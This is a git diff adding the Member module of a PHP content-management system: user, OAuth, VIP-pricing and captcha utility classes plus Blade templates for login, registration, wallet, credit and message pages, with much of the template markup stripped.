$memberUser['nickname'] = $memberUser['username']; + if (empty($memberUser['avatar'])) { + $memberUser['avatar'] = AssetsUtil::fixFull('asset/image/avatar.svg'); + } else { + $memberUser['avatar'] = AssetsUtil::fixFull($memberUser['avatar']); + } + $memberUser['viewName'] = $viewName; + $item->{$memberUserMergeKey} = $memberUser; + } + } + } + + public static function insert($data) + { + return ModelUtil::insert('member_user', $data); + } + + public static function getIdByOauth($oauthType, $openId) + { + $m = ModelUtil::get('member_oauth', ['type' => $oauthType, 'openId' => $openId]); + if (empty($m)) { + return 0; + } + return intval($m['memberUserId']); + } + + public static function getIdByOauthAndCheck($oauthType, $openId) + { + $memberUserId = self::getIdByOauth($oauthType, $openId); + if (self::get($memberUserId)) { + return $memberUserId; + } + MemberUtil::forgetOauth($oauthType, $openId); + return 0; + } + + public static function getOauthOpenId($memberUserId, $oauthType) + { + $where = ['memberUserId' => $memberUserId, 'type' => $oauthType]; + $m = ModelUtil::get('member_oauth', $where); + if (empty($m)) { + return null; + } + return $m['openId']; + } + + /** + * @param $memberUserId + * @param $oauthType + * @return array|null + * @since Member 1.6.0 + */ + public static function getOauth($memberUserId, $oauthType) + { + $where = ['memberUserId' => $memberUserId, 'type' => $oauthType]; + return ModelUtil::get('member_oauth', $where); + } + + public static function listOauths($memberUserId) + { + return ModelUtil::all('member_oauth', ['memberUserId' => $memberUserId], ['*'], ['type', 'asc']); + } + + public static function putOauth($memberUserId, $oauthType, $openId, $info = []) + { + $where = ['memberUserId' => $memberUserId, 'type' => $oauthType]; + $lockKey = "MemberOauth:$memberUserId"; + if (!LockUtil::acquire($lockKey)) { + BizException::throws('正在处理中,请稍后再试'); + } + $m = ModelUtil::get('member_oauth', $where); + $update = array_merge(['openId' => $openId], $info); + if (empty($m)) { + ModelUtil::delete('member_oauth', ['type' => $oauthType, 'openId' => $openId]); + ModelUtil::insert('member_oauth', array_merge($where, $update)); + } else if ($m['openId'] != $openId) { + ModelUtil::update('member_oauth', $m['id'], $update); + } + LockUtil::release($lockKey); + } + + public static function forgetOauthByMemberUserId($memberUserId) + { + ModelUtil::delete('member_oauth', ['memberUserId' => $memberUserId]); + } + + public static function forgetOauth($oauthType, $openId) + { + ModelUtil::delete('member_oauth', ['type' => $oauthType, 'openId' => $openId]); + } + + public static function updateNewMessageStatus($memberUserId) + { + ModelUtil::update('member_user', ['id' => $memberUserId], [ + 'newMessageCount' => ModelUtil::count('member_message', [ + 'userId' => $memberUserId, + 'status' => MemberMessageStatus::UNREAD, + ]) + ]); + } + + public static function updateNewChatMsgStatus($memberUserId) + { + if (modstart_module_enabled('MemberChat')) { + ModelUtil::update('member_user', ['id' => $memberUserId], [ + 'newChatMsgCount' => ModelUtil::sum('member_chat', 'unreadMsgCount', [ + 'memberUserId' => $memberUserId, + ]) + ]); + } + } + + public static function paginate($page, $pageSize, $option = []) + { + return ModelUtil::paginate('member_user', $page, $pageSize, $option); + } + + public static function updateStatus($memberUserIds, $status) + { + if (!is_array($memberUserIds)) { + $memberUserIds = [$memberUserIds]; + } + if (empty($memberUserIds)) { + return; + } + ModelUtil::model('member_user')->whereIn('id', $memberUserIds)->update(['status' => $status]); + } + + public static function delete($memberUserId) + { + $memberUser = self::get($memberUserId); + BizException::throwsIfEmpty('用户不存在', $memberUser); + ModelUtil::transactionBegin(); + $content = []; + $oauths = ModelUtil::all('member_oauth', [ + 'memberUserId' => $memberUser['id'], + ]); + $content['oauth'] = ArrayUtil::keepItemsKeys($oauths, [ + 'type', 'openId', 'infoUsername', 'infoAvatar' + ]); + $content['nickname'] = $memberUser['nickname']; + ModelUtil::insert('member_deleted', [ + 'id' => $memberUser['id'], + 'username' => $memberUser['username'], + 'phone' => $memberUser['phone'], + 'email' => $memberUser['email'], + 'content' => SerializeUtil::jsonEncode($content), + ]); + ModelUtil::update('member_user', $memberUserId, [ + 'deleteAtTime' => 0, + 'isDeleted' => true, + 'username' => null, + 'nickname' => null, + 'phone' => null, + 'email' => null, + ]); + self::forgetOauthByMemberUserId($memberUserId); + ModelUtil::transactionCommit(); + MemberUserDeletedEvent::fire($memberUserId); + } + + public static function fireLogin($memberUserId) + { + $ip = Request::ip(); + ModelUtil::update('member_user', $memberUserId, [ + 'lastLoginTime' => Carbon::now(), + 'lastLoginIp' => StrUtil::mbLimit($ip, 20), + ]); + ModelUtil::insert('member_login_log', [ + 'memberUserId' => $memberUserId, + 'deviceType' => DeviceType::current(), + 'ip' => StrUtil::mbLimit($ip, 20), + 'userAgent' => StrUtil::mbLimit(AgentUtil::getUserAgent(), 400), + ]); + } + + public static function passwordStrengthCheck($password) + { + $lengthMin = modstart_config('Member_PasswordLengthMin', 0); + if ($lengthMin > 0) { + if (strlen($password) < $lengthMin) { + return Response::generateError('密码长度不能小于' . $lengthMin . '位'); + } + } + $strength = modstart_config('Member_PasswordStrength', MemberPasswordStrength::NO_LIMIT); + switch ($strength) { + case MemberPasswordStrength::NO_LIMIT: + break; + case MemberPasswordStrength::STRENGTH_2: + if (StrUtil::passwordStrength($password) < 2) { + return Response::generateError('密码必须包含 大写/小写/数字/特殊字符 2种以上'); + } + break; + case MemberPasswordStrength::STRENGTH_3: + if (StrUtil::passwordStrength($password) < 3) { + return Response::generateError('密码必须包含 大写/小写/数字/特殊字符 3种以上'); + } + break; + } + return Response::generateSuccess(); + } + +} diff --git a/module/Member/Util/MemberVipUtil.php b/module/Member/Util/MemberVipUtil.php new file mode 100644 index 00000000..28059f23 --- /dev/null +++ b/module/Member/Util/MemberVipUtil.php @@ -0,0 +1,298 @@ + 0, 'title' => '游客']; + $vips = array_merge($vips, self::all()); + return $vips; + } + + public static function allVisible() + { + $vips = array_filter(self::all(), function ($vip) { + return $vip['visible']; + }); + $vips = array_values($vips); + return $vips; + } + + public static function all() + { + return CacheUtil::rememberForever('MemberVipList', function () { + return ModelUtil::all('member_vip_set', [], ['*'], ['sort', 'asc']); + }); + } + + public static function update($id, $data) + { + ModelUtil::update('member_vip_set', $id, $data); + self::clearCache(); + } + + public static function map() + { + return CacheUtil::rememberForever('MemberVipMap', function () { + $map = []; + foreach (ModelUtil::all('member_vip_set', [], ['*'], ['sort', 'asc']) as $item) { + $map[intval($item['id'])] = $item; + } + return $map; + }); + } + + public static function vipsByIds($vipIds) + { + $map = self::map(); + $vips = []; + foreach ($vipIds as $vipId) { + if (isset($map[$vipId])) { + $vips[] = $map[$vipId]; + } + } + return $vips; + } + + public static function mapTitleWithGuest() + { + $map = []; + $map[0] = '游客'; + foreach (self::map() as $k => $v) { + $map[$k] = $v['title']; + } + return $map; + } + + public static function mapTitle() + { + return array_build(self::map(), function ($k, $v) { + return [$k, $v['title']]; + }); + } + + public static function getMemberVipById($memberUserId, $key = null, $defaultValue = null) + { + $memberUser = MemberUtil::get($memberUserId); + return self::getMemberVip($memberUser, $key, $defaultValue); + } + + public static function getMemberVipByIdCached($memberUserId, $key = null, $defaultValue = null) + { + $memberUser = MemberUtil::getCached($memberUserId); + return self::getMemberVip($memberUser, $key, $defaultValue); + } + + public static function getMemberVip($memberUser, $key = null, $defaultValue = null) + { + if ( + !empty($memberUser['vipId']) + && + (empty($memberUser['vipExpire']) || strtotime($memberUser['vipExpire']) > time()) + ) { + $vip = self::get($memberUser['vipId']); + } else { + $vip = self::get(null); + } + // 过期的用户,需要更新数据库 + if (!empty($memberUser['vipExpire']) && strtotime($memberUser['vipExpire']) <= time()) { + $defaultVipId = self::defaultVipId(); + MemberUtil::update($memberUser['id'], [ + 'vipId' => $defaultVipId, + 'vipExpire' => null + ]); + if ($defaultVipId != $memberUser['vipId']) { + MemberUserVipChangeEvent::fire($memberUser['id'], $defaultVipId, $memberUser['vipId']); + } + } + if (empty($vip)) { + return null; + } + if (null === $key) { + return $vip; + } + return isset($vip[$key]) ? $vip[$key] : $defaultValue; + } + + public static function sortRecordsByVipOrder($records) + { + $vipSortMap = [0 => 0]; + foreach (MemberVipUtil::all() as $i => $v) { + $vipSortMap[$v['id']] = $i + 1; + }; + usort($records, function ($a, $b) use ($vipSortMap) { + if (isset($vipSortMap[$a['vipId']]) && isset($vipSortMap[$b['vipId']])) { + return $vipSortMap[$a['vipId']] - $vipSortMap[$b['vipId']]; + } else if (isset($vipSortMap[$a['vipId']])) { + return -1; + } else if (isset($vipSortMap[$b['vipId']])) { + return 1; + } + return 0; + }); + return $records; + } + + /** + * @return mixed|null + * @deprecated delete at 2023-10-11 + */ + public static function getDefaultVip() + { + return self::defaultVip(); + } + + public static function defaultVip() + { + foreach (self::map() as $vipId => $vip) { + if (!empty($vip['isDefault'])) { + return $vip; + } + } + return null; + } + + + public static function defaultVipId() + { + $vip = self::defaultVip(); + return $vip ? $vip['id'] : null; + } + + public static function get($vipId, $key = null) + { + $map = self::map(); + if (null === $key) { + if (isset($map[$vipId])) { + return $map[$vipId]; + } + return self::defaultVip(); + } else { + if (isset($map[$vipId][$key])) { + return $map[$vipId][$key]; + } + $vip = self::defaultVip(); + if (isset($vip[$key])) { + return $vip[$key]; + } + } + return null; + } + + public static function calcExpire($oldExpire, $newVipId) + { + $newVip = self::get($newVipId); + $newDays = ($newVip ? $newVip['vipDays'] : 0); + $timestamp = time(); + $oldExpireTimestamp = max(strtotime($oldExpire), 0); + if ($oldExpireTimestamp > time()) { + $timestamp = $oldExpireTimestamp; + } + return date('Y-m-d', $timestamp + $newDays * 24 * 3600); + } + + /** + * 会员卡升级差价计算 + * + * @param $oldVipId + * @param $newVipId + * @return array + */ + public static function calcPrice($oldVipId, $oldVipExpire, $newVipId) + { + $oldVip = self::get($oldVipId); + $oldPrice = ($oldVip ? $oldVip['price'] : 0); + $oldDays = ($oldVip ? $oldVip['vipDays'] : 0); + + $newVip = self::get($newVipId); + $newPrice = ($newVip ? $newVip['price'] : 0); + $newDays = ($newVip ? $newVip['vipDays'] : 0); + + if (empty($newVip)) { + return Response::generate(-1, '数据错误'); + } + + $oldVipExpireTimestamp = (strtotime($oldVipExpire) > 0 ? strtotime($oldVipExpire) : 0); + + $expire = null; + $price = 0; + $type = null; + + if ($oldVipId == $newVipId) { + $type = '续费会员'; + $expire = date('Y-m-d H:i:s', max($oldVipExpireTimestamp, time()) + $newVip['vipDays'] * 24 * 3600); + $price = $newVip['price']; + } else { + if ($oldVipExpireTimestamp > 0) { + $type = '变更会员'; + $expireTimestamp = max(time() + $newVip['vipDays'] * 24 * 3600, $oldVipExpireTimestamp); + $expire = date('Y-m-d H:i:s', $expireTimestamp); + $price = $newVip['price'] * (($expireTimestamp - time()) / (24 * 3600)) / $newVip['vipDays']; + // 老会员折算 + $oldLeftDays = max(0, intval(($oldVipExpireTimestamp - time()) / (24 * 3600))); + $oldTotalDays = $oldVip['vipDays']; + $oldPriceValue = ($oldTotalDays > 0 ? ($oldVip['price'] * $oldLeftDays / $oldTotalDays) : 0); + $price = max(bcsub($price, $oldPriceValue, 2), 0.01); + } else { + $type = '新开会员'; + $expire = date('Y-m-d H:i:s', time() + $newVip['vipDays'] * 24 * 3600); + $price = $newVip['price']; + } + } + return Response::generate(0, 'ok', [ + 'type' => $type, + 'expire' => $expire, + 'price' => $price, + ]); + + } + + public static function rights() + { + return Cache::rememberForever('MemberVipRights', function () { + $records = ModelUtil::all('member_vip_right', [], ['*'], ['sort', 'asc']); + AssetsUtil::recordsFixFullOrDefault($records, 'image'); + ModelUtil::decodeRecordsJson($records, ['vipIds']); + return $records; + }); + } + + public static function openUsers() + { + $openUsersConfig = modstart_config('Member_VipOpenUsers', []); + $records = []; + foreach ($openUsersConfig as $u) { + $records[] = [ + 'name' => mb_substr($u['name'], 0, 2) . '******', + 'time' => $u['time'], + 'title' => $u['title'], + ]; + } + return $records; + } + + + public static function clearCache() + { + CacheUtil::forget('MemberVipList'); + CacheUtil::forget('MemberVipMap'); + CacheUtil::forget('MemberVipRights'); + } +} diff --git a/module/Member/Util/SecurityUtil.php b/module/Member/Util/SecurityUtil.php new file mode 100644 index 00000000..b446012c --- /dev/null +++ b/module/Member/Util/SecurityUtil.php @@ -0,0 +1,38 @@ +setParam('onValidate', 'window.__memberCheckCaptcha'); + return $provider; + } + + public static function loginCaptchaProvider() + { + $name = modstart_config('loginCaptchaProvider', null); + if (empty($name)) { + return null; + } + $provider = CaptchaProvider::get($name); + if ($provider && ($provider instanceof DefaultCaptchaProvider)) { + return null; + } + return $provider; + } +} diff --git a/module/Member/View/admin/config/param.blade.php b/module/Member/View/admin/config/param.blade.php new file mode 100644 index 00000000..9500c069 --- /dev/null +++ b/module/Member/View/admin/config/param.blade.php @@ -0,0 +1,33 @@ +@extends('modstart::admin.dialogFrame') + +@section('pageTitle')用户可用变量@endsection + +{!! \ModStart\ModStart::js('asset/common/clipboard.js') !!} + +@section('bodyContent') + +
+ + + + + + + + + @foreach(\Module\Member\Util\MemberParamUtil::param() as $k=>$v) + + + + + @endforeach + +
变量说明
+ + + + {{$k}} + {{$v}}
+
+ +@endsection diff --git a/module/Member/View/admin/memberUser/show.blade.php b/module/Member/View/admin/memberUser/show.blade.php new file mode 100644 index 00000000..bad30c0f --- /dev/null +++ b/module/Member/View/admin/memberUser/show.blade.php @@ -0,0 +1,124 @@ +@extends('modstart::admin.dialogFrame') + +@section('pageTitle')用户 {{\Module\Member\Util\MemberUtil::viewName($record)}} 的信息@endsection + +@section('headAppend') + @parent + +@endsection + +@section('bodyContent') + +
+
+
头像
+
+ +
+
+
+
用户ID
+
{{$record['id']}}
+
+
+
用户名
+
{{$record['username']?$record['username']:'-'}}
+
+
+
邮箱
+
{{$record['email']?$record['email']:'-'}}
+
+
+
手机
+
{{$record['phone']?$record['phone']:'-'}}
+
+
+
昵称
+
{{$record['nickname']?$record['nickname']:'-'}}
+
+ @if(array_key_exists('gender',$record)) +
+
性别
+
{{\ModStart\Core\Type\TypeUtil::name(\Module\Member\Type\Gender::class,$record['gender'])}}
+
+ @endif + @if(\ModStart\Module\ModuleManager::getModuleConfig('Member','moneyEnable',false)) +
+
余额
+
+ + ¥{{\Module\Member\Util\MemberMoneyUtil::getTotal($record['id'])}} + + + [余额变更] + +
+
+ @endif + @if(\ModStart\Module\ModuleManager::getModuleConfig('Member','creditEnable',false)) +
+
积分
+
+ + {{\Module\Member\Util\MemberCreditUtil::getTotal($record['id'])}} + + + [积分变更] + +
+
+ @endif + +
+ + @if(!empty($showPanelProviders)) +
+ @foreach($showPanelProviders as $provider) + {{$provider->title()}} + @endforeach +
+
+ @foreach($showPanelProviders as $provider) +
+ {!! $provider->render($record,[]) !!} +
+ @endforeach +
+ + @endif + +@endsection diff --git a/module/Member/View/field/adminUserSelector.blade.php b/module/Member/View/field/adminUserSelector.blade.php new file mode 100644 index 00000000..fe2fb91f --- /dev/null +++ b/module/Member/View/field/adminUserSelector.blade.php @@ -0,0 +1,36 @@ +
+
+ {!! in_array('required',$rules)?'*':'' !!} + @if($tip) + + @endif + {{$label}} +
+
+ + +
+
diff --git a/module/Member/View/field/memberUsers.blade.php b/module/Member/View/field/memberUsers.blade.php new file mode 100644 index 00000000..937f00b9 --- /dev/null +++ b/module/Member/View/field/memberUsers.blade.php @@ -0,0 +1,68 @@ + + +{!! \ModStart\ModStart::js('asset/vendor/tagify/jQuery.tagify.min.js') !!} +{!! \ModStart\ModStart::css('asset/vendor/tagify/tagify.css') !!} + + diff --git a/module/Member/View/inc/memberNavMenu.blade.php b/module/Member/View/inc/memberNavMenu.blade.php new file mode 100644 index 00000000..f1679df4 --- /dev/null +++ b/module/Member/View/inc/memberNavMenu.blade.php @@ -0,0 +1,11 @@ +@foreach($items as $i) + + {{$i['title']}} + +@endforeach diff --git a/module/Member/View/pc/inc/loginPanel.blade.php b/module/Member/View/pc/inc/loginPanel.blade.php new file mode 100644 index 00000000..54d33d21 --- /dev/null +++ b/module/Member/View/pc/inc/loginPanel.blade.php @@ -0,0 +1,71 @@ + diff --git a/module/Member/View/pc/inc/registerCaptcha.blade.php b/module/Member/View/pc/inc/registerCaptcha.blade.php new file mode 100644 index 00000000..a6ce62ef --- /dev/null +++ b/module/Member/View/pc/inc/registerCaptcha.blade.php @@ -0,0 +1,36 @@ +@if($provider=\Module\Member\Util\SecurityUtil::registerCaptchaProvider()) +
+
+ {!! $provider->render() !!} +
+
+ 等待验证 + + + +
+
+@else +
+
+
+
+ +
+
+ +
+
+
+ 输入图片验证码验证 + + + +
+
+
+@endif diff --git a/module/Member/View/pc/inc/registerPhonePanel.blade.php b/module/Member/View/pc/inc/registerPhonePanel.blade.php new file mode 100644 index 00000000..e1184ecb --- /dev/null +++ b/module/Member/View/pc/inc/registerPhonePanel.blade.php @@ -0,0 +1,77 @@ + diff --git a/module/Member/View/pc/inc/registerPhoneScript.blade.php b/module/Member/View/pc/inc/registerPhoneScript.blade.php new file mode 100644 index 00000000..38a6af0f --- /dev/null +++ b/module/Member/View/pc/inc/registerPhoneScript.blade.php @@ -0,0 +1,18 @@ +{{\ModStart\ModStart::js('asset/common/commonVerify.js')}} +{{\ModStart\ModStart::js('vendor/Member/entry/register.js')}} + diff --git a/module/Member/View/pc/inc/retrieveNav.blade.php b/module/Member/View/pc/inc/retrieveNav.blade.php new file mode 100644 index 00000000..1c8f08ed --- /dev/null +++ b/module/Member/View/pc/inc/retrieveNav.blade.php @@ -0,0 +1,11 @@ +
+
+ @foreach(['选择验证','验证身份','重置密码','完成'] as $i=>$t) +
+
+ {{$i+1}}.{{$t}} +
+
+ @endforeach +
+
diff --git a/module/Member/View/pc/login.blade.php b/module/Member/View/pc/login.blade.php new file mode 100644 index 00000000..6e872169 --- /dev/null +++ b/module/Member/View/pc/login.blade.php @@ -0,0 +1,22 @@ +@extends($_viewFrame) + +@section('pageTitleMain')登录@endsection +@section('pageKeywords')登录@endsection +@section('pageDescription')登录@endsection + +@section('headAppend') + @parent + + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberLoginPageHeadAppend'); !!} +@endsection + +@section('bodyAppend') + @parent + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberLoginPageBodyAppend'); !!} +@endsection + +@section('bodyContent') + + @include('module::Member.View.pc.inc.loginPanel') + +@endsection diff --git a/module/Member/View/pc/loginDialog.blade.php b/module/Member/View/pc/loginDialog.blade.php new file mode 100644 index 00000000..603c385e --- /dev/null +++ b/module/Member/View/pc/loginDialog.blade.php @@ -0,0 +1,96 @@ +@extends($_viewFrame) + +@section('pageTitleMain')登录@endsection +@section('pageKeywords')登录@endsection +@section('pageDescription')登录@endsection + +@section('headAppend') + @parent + + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberLoginPageHeadAppend'); !!} +@endsection + +@section('bodyAppend') + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberLoginPageBodyAppend'); !!} +@endsection + +{!! \ModStart\ModStart::style('html,body{background:var(--color-content-bg);}') !!} + +@section('body') + + + +@endsection diff --git a/module/Member/View/pc/loginOther.blade.php b/module/Member/View/pc/loginOther.blade.php new file mode 100644 index 00000000..a8da8213 --- /dev/null +++ b/module/Member/View/pc/loginOther.blade.php @@ -0,0 +1,39 @@ +@extends($_viewFrame) + +@section('pageTitleMain')登录@endsection +@section('pageKeywords')登录@endsection +@section('pageDescription')登录@endsection + +@section('headAppend') + @parent + + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberLoginPageHeadAppend'); !!} +@endsection + +@section('bodyAppend') + @parent + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberLoginPageBodyAppend'); !!} +@endsection + +@section('bodyContent') + + + + +@endsection diff --git a/module/Member/View/pc/loginOtherDialog.blade.php b/module/Member/View/pc/loginOtherDialog.blade.php new file mode 100644 index 00000000..bfff4670 --- /dev/null +++ b/module/Member/View/pc/loginOtherDialog.blade.php @@ -0,0 +1,32 @@ +@extends($_viewFrame) + +@section('pageTitleMain')登录@endsection +@section('pageKeywords')登录@endsection +@section('pageDescription')登录@endsection + +@section('headAppend') + @parent + + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberLoginPageHeadAppend'); !!} +@endsection + +@section('bodyAppend') + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberLoginPageBodyAppend'); !!} +@endsection + +{!! \ModStart\ModStart::style('html,body{background:var(--color-content-bg);}') !!} +@section('body') + +@endsection diff --git a/module/Member/View/pc/loginPhone.blade.php b/module/Member/View/pc/loginPhone.blade.php new file mode 100644 index 00000000..a34b2856 --- /dev/null +++ b/module/Member/View/pc/loginPhone.blade.php @@ -0,0 +1,125 @@ +@extends($_viewFrame) + +@section('pageTitleMain')短信验证登录@endsection +@section('pageKeywords')短信验证登录@endsection +@section('pageDescription')短信验证登录@endsection + +@section('headAppend') + @parent + + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberLoginPageHeadAppend'); !!} +@endsection + +@section('bodyAppend') + @parent + {{\ModStart\ModStart::js('asset/common/commonVerify.js')}} + + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberLoginPageBodyAppend'); !!} +@endsection + + +@section('bodyContent') + + + +@endsection diff --git a/module/Member/View/pc/loginPhoneDialog.blade.php b/module/Member/View/pc/loginPhoneDialog.blade.php new file mode 100644 index 00000000..e9d71d2a --- /dev/null +++ b/module/Member/View/pc/loginPhoneDialog.blade.php @@ -0,0 +1,124 @@ +@extends($_viewFrame) + +@section('pageTitleMain')短信验证登录@endsection +@section('pageKeywords')短信验证登录@endsection +@section('pageDescription')短信验证登录@endsection + +@section('headAppend') + @parent + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberLoginPageHeadAppend'); !!} +@endsection + +@section('bodyAppend') + {{\ModStart\ModStart::js('asset/common/commonVerify.js')}} + + {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberLoginPageBodyAppend'); !!} +@endsection + + +{!! \ModStart\ModStart::style('html,body{background:var(--color-content-bg);}') !!} +@section('body') + + + +@endsection diff --git a/module/Member/View/pc/member/dialog.blade.php b/module/Member/View/pc/member/dialog.blade.php new file mode 100644 index 00000000..119a442f --- /dev/null +++ b/module/Member/View/pc/member/dialog.blade.php @@ -0,0 +1,66 @@ +@extends($_viewFrameDialog) + +@section('pageTitleMain'){{'我的'}}@endsection + +@section('body') + +
+
+
+
+ +
+
+
+ {{\Module\Member\Auth\MemberUser::viewName()}} + ,欢迎您! + @if(\ModStart\Module\ModuleManager::getModuleConfig('Member', 'vipEnable',false)) + + @if(\Module\Member\Auth\MemberVip::get('icon')) + + @endif + {{\Module\Member\Auth\MemberVip::get('title')}} + + @endif + @if($_certType!==null) + @if($_certType==\Module\MemberCert\Type\CertType::INDIVIDUAL) + + + 个人认证 + + @elseif($_certType==\Module\MemberCert\Type\CertType::CORP) + + + 企业认证 + + @else + + + 未认证 + + @endif + @endif +
+
+ {{empty($_memberUser['signature'])?'暂无签名':$_memberUser['signature']}} +
+
+
+
+ +
+ {!! $content !!} +
+
+ + + +@endsection diff --git a/module/Member/View/pc/member/index.blade.php b/module/Member/View/pc/member/index.blade.php new file mode 100644 index 00000000..040a3a08 --- /dev/null +++ b/module/Member/View/pc/member/index.blade.php @@ -0,0 +1,57 @@ +@extends($_viewMemberFrame) + +@section('pageTitleMain'){{'我的'}}@endsection + +@section('memberBodyContent') + +
+
+
+ +
+
+
+ {{\Module\Member\Auth\MemberUser::viewName()}} + ,欢迎您! + @if(\ModStart\Module\ModuleManager::getModuleConfig('Member', 'vipEnable',false)) + + @if(\Module\Member\Auth\MemberVip::get('icon')) + + @endif + {{\Module\Member\Auth\MemberVip::get('title')}} + + @endif + @if($_certType!==null) + @if($_certType==\Module\MemberCert\Type\CertType::INDIVIDUAL) + + + 个人认证 + + @elseif($_certType==\Module\MemberCert\Type\CertType::CORP) + + + 企业认证 + + @else + + + 未认证 + + @endif + @endif +
+
+ {{empty($_memberUser['signature'])?'暂无签名':$_memberUser['signature']}} +
+
+
+
+ +
+ {!! $content !!} +
+ +@endsection diff --git a/module/Member/View/pc/member/page.blade.php b/module/Member/View/pc/member/page.blade.php new file mode 100644 index 00000000..cbb2e988 --- /dev/null +++ b/module/Member/View/pc/member/page.blade.php @@ -0,0 +1,25 @@ +@extends($_viewFrame) + +@section('pageTitleMain'){{$pageTitle}}@endsection +@section('pageKeywords'){{$pageTitle}}@endsection +@section('pageDescription'){{$pageTitle}}@endsection + +@section('body') + +
+
+
+
+
+

{{$pageTitle}}

+
+
+ {!! $pageContent !!} +
+
+
+
+
+ +@endsection + diff --git a/module/Member/View/pc/memberAddress/index.blade.php b/module/Member/View/pc/memberAddress/index.blade.php new file mode 100644 index 00000000..145b0363 --- /dev/null +++ b/module/Member/View/pc/memberAddress/index.blade.php @@ -0,0 +1,16 @@ +@extends($_viewMemberFrame) + +@section('pageTitleMain')我的地址@endsection +@section('pageKeywords')我的地址@endsection +@section('pageDescription')我的地址@endsection + +@section('memberBodyContent') +
+
+
我的地址
+
+
+ {!! $content !!} +
+
+@endsection diff --git a/module/Member/View/pc/memberAddress/item.blade.php b/module/Member/View/pc/memberAddress/item.blade.php new file mode 100644 index 00000000..6d52ca49 --- /dev/null +++ b/module/Member/View/pc/memberAddress/item.blade.php @@ -0,0 +1,24 @@ +
+
+ + {{$item->name}} + + + {{$item->phone}} + +
+
+ {{$item->area}} + {{$item->detail}} + {{$item->post}} +
+
+ 编辑 + 删除 +
+
diff --git a/module/Member/View/pc/memberCredit/index.blade.php b/module/Member/View/pc/memberCredit/index.blade.php new file mode 100644 index 00000000..a033d6ae --- /dev/null +++ b/module/Member/View/pc/memberCredit/index.blade.php @@ -0,0 +1,38 @@ +@extends($_viewMemberFrame) + +@section('pageTitleMain')我的{{\ModStart\Module\ModuleManager::getModuleConfig('Member', 'creditName', '积分')}}@endsection + +@section('memberBodyContent') +
+
+
+
+ +
+
+ + {{$m?$m['total']:0}} +
+
+ 我的{{\ModStart\Module\ModuleManager::getModuleConfig('Member', 'creditName', '积分')}} + @if(!empty($m['freezeTotal'])) + + (冻结{{$m['freezeTotal']}}) + + @endif +
+
+
+
+
+
+
+ + {{\ModStart\Module\ModuleManager::getModuleConfig('Member', 'creditName', '积分')}}流水 +
+
+
+ {!! $content !!} +
+
+@endsection diff --git a/module/Member/View/pc/memberCredit/item.blade.php b/module/Member/View/pc/memberCredit/item.blade.php new file mode 100644 index 00000000..63f19e62 --- /dev/null +++ b/module/Member/View/pc/memberCredit/item.blade.php @@ -0,0 +1,25 @@ +
+
+
+ +
+
+
+
{{$item->remark}}
+
+ + {{$item->created_at}} +
+
+ @if($item->change>0) +
+ 收入 + +{{$item->change}} +
+ @else +
+ 支出 + -{{-$item->change}} +
+ @endif +
diff --git a/module/Member/View/pc/memberData/fileManager.blade.php b/module/Member/View/pc/memberData/fileManager.blade.php new file mode 100644 index 00000000..5a13aa95 --- /dev/null +++ b/module/Member/View/pc/memberData/fileManager.blade.php @@ -0,0 +1,24 @@ +@extends('module::Vendor.View.pc.dialogFrame') + +@section('bodyAppend') + + + + {!! \ModStart\Core\Hook\ModStartHook::fireInView('UploadScript',['source'=>'fileManager','server'=>\ModStart\Core\Input\Request::currentPageUrlWithOutQueries(),'id'=>$category,]); !!} + +@endsection + +@section('bodyContent') +
+@endsection diff --git a/module/Member/View/pc/memberMessage/item.blade.php b/module/Member/View/pc/memberMessage/item.blade.php new file mode 100644 index 00000000..dbb8f483 --- /dev/null +++ b/module/Member/View/pc/memberMessage/item.blade.php @@ -0,0 +1,32 @@ +
+
+
+
+ @if(!$item->fromId) + 系统消息 + @endif +
+ @if($item->status==\Module\Member\Type\MemberMessageStatus::UNREAD) +
+ +
+ @endif +
+
+ {{ $item->created_at }} +
+
+ @if($item->status==\Module\Member\Type\MemberMessageStatus::UNREAD) + 已读 + @endif + 删除 +
+
+
+
+ {!! $item->content !!} +
+
+
+
diff --git a/module/Member/View/pc/memberMoney/index.blade.php b/module/Member/View/pc/memberMoney/index.blade.php new file mode 100644 index 00000000..bd39b674 --- /dev/null +++ b/module/Member/View/pc/memberMoney/index.blade.php @@ -0,0 +1,50 @@ +@extends($_viewMemberFrame) + +@section('pageTitleMain')我的钱包@endsection +@section('pageKeywords')我的钱包@endsection +@section('pageDescription')我的钱包@endsection + +@section('memberBodyContent') + +
+
+
+
+
+
+ +
+
+ ¥{{\Module\Member\Util\MemberMoneyUtil::getTotal(\Module\Member\Auth\MemberUser::id())}}
+
我的钱包
+
+
+
+
+
+
+
+
+ @if(modstart_config('Member_MoneyChargeEnable',false)) + + + 充值 + + @endif + @if(modstart_config('Member_MoneyCashEnable',false)) + + + 提现 + + @endif +
+
+ + 钱包流水 +
+
+
+ {!! $content !!} +
+
+@endsection diff --git a/module/Member/View/pc/memberMoney/item.blade.php b/module/Member/View/pc/memberMoney/item.blade.php new file mode 100644 index 00000000..8800b966 --- /dev/null +++ b/module/Member/View/pc/memberMoney/item.blade.php @@ -0,0 +1,25 @@ +
+
+
+ +
+
+
+
{{$item->remark}}
+
+ + {{$item->created_at}} +
+
+ @if($item->change>0) +
+ 收入 + +¥{{$item->change}} +
+ @else +
+ 支出 + -¥{{sprintf('%.2f',-$item->change)}} +
+ @endif +
diff --git a/module/Member/View/pc/memberMoneyCash/index.blade.php b/module/Member/View/pc/memberMoneyCash/index.blade.php new file mode 100644 index 00000000..f84dba0f --- /dev/null +++ b/module/Member/View/pc/memberMoneyCash/index.blade.php @@ -0,0 +1,137 @@ +@extends($_viewMemberFrame) + +@section('pageTitleMain')钱包提现@endsection +@section('pageKeywords')钱包提现@endsection +@section('pageDescription')钱包提现@endsection + + +@section('bodyAppend') + @parent + +@endsection + +@section('memberBodyContent') + + + + @if(modstart_config('Member_MoneyCashDescription')) +
+
+
提现说明
+
+
+
+ {!! modstart_config('Member_MoneyCashDescription') !!} +
+
+
+ @endif +
+
+ +
钱包提现
+
+
+
+
+
+
余额
+
